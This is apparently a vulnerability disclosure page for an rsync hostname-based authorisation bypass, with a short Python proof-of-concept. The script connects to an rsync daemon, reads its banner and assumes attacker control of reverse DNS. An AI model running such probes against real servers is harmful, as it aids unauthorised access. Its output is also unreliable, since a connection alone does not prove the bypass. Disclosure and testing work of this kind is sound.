CVE-2026-43617 Rsync授权绕过漏洞

import socket # Proof of Concept for CVE-2026-43617 # This script demonstrates the connection attempt assuming the attacker controls the PTR record of the source IP. # Requirement: The attacker's IP address must resolve to a hostname allowed by the rsync "hosts allow" directive. TARGET_HOST = "192.168.1.10" # Replace with target IP TARGET_PORT = 873 def attempt_rsync_connection(): try: print(f"[+] Attempting to connect to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((TARGET_HOST, TARGET_PORT)) # Receive the server banner banner = s.recv(1024).decode() print(f"[+] Server Banner: {banner.strip()}") # If connected, the ACL bypass based on hostname (PTR) was successful print("[+] Connection established. ACL bypass potentially successful.") s.close() except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == "__main__": print("[*] CVE-2026-43617 PoC: Rsync Authorization Bypass via Hostname Resolution") print("[*] Ensure your reverse DNS (PTR) points to an allowed hostname.") attempt_rsync_connection()